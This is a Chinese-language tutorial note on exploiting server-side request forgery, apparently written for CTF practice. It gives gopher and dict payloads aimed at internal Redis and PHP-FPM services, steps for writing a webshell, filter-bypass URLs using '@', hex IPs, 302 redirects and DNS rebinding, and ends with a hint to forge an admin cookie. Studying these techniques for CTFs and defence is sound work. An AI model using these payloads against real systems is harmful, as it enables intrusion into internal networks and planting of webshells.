← 返回主页
NOTE

SSRF 实战

整理 SSRF 成因、常见目标、检测方式与出网访问防御。

SSRF(Server-Side Request Forgery)
即“服务器端请求伪造”,是一种攻击者通过构造恶意URL诱导服务器访问内部资源或受限网络的漏洞,可导致内网渗透、数据泄露或服务滥用。


一、漏洞利用技术

1. 直接访问内网资源

条件:服务器未做过滤
示例

url=http://127.0.0.1/admin

2. 伪协议请求

gopher协议利用

gopher://127.0.0.1:80/_POST /flag.php

关键步骤:需对请求URL进行两次URL编码
实践参考CTFHUB SSRF POST小记

3. 端口扫描

作用:遍历内网端口,探测隐藏服务。

4. 文件上传

方法:通过gopher协议构造HTTP文件上传请求。

5. PHP-FPM未授权访问漏洞

原理

  • FPM(FastCGI进程管理器)默认监听9000端口。
  • 若端口暴露,可构造恶意FastCGI请求,注入代码:
    'PHP_VALUE' = 'auto_prepend_file = php://input'
    
    Payload生成工具
git clone https://github.com/tarunkant/Gopherus.git

PHP-FPM攻击流程

6. Redis攻击

步骤

  1. 探测端口
    dict://127.0.0.1:6379/info  # 返回Redis信息则可用
    
  2. 连接Redis:尝试弱口令爆破(如需认证)。
  3. 写入Webshell
    • 设置持久化路径为Web目录
    • 指定持久化文件名(如shell.php
    • 存储恶意代码并执行SAVE
      Payload生成
      Redis攻击Payload

二、WAF绕过技巧

1. URL语法绕过

场景:系统要求URL以特定域名开头
绕过方法

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

原理@符号左侧被解析为认证信息,右侧为实际访问地址。

2. 数字IP绕过

场景:过滤127/172等回环地址
方法

  • 十六进制IP:
    ?url=http://0x7f000001/flag.php
    
  • 替代方案:localhost0.0.0.0

3. 302跳转绕过

场景:严格过滤回环地址
原理:利用HTTP 302重定向避开IP检测
演示

?url=http://短链接服务/xxx  # 短链接跳转至http://127.0.0.1/flag.php

302跳转流程

4. DNS重绑定绕过

场景:绕过IP检测及同源策略
原理:参考DNS重绑定漏洞详解
示例

?url=http://7f000001.7f000002.rbndr.us/flag.php

DNS重绑定

你的身份是guest,你没有权限查看FLAG。你知道吗,有些网站会在Cookie中保存用户的身份信息,比如admin或者guest。如果你能修改Cookie的值,就可以伪造成其他用户的身份。试试修改Cookie的值为admin呢?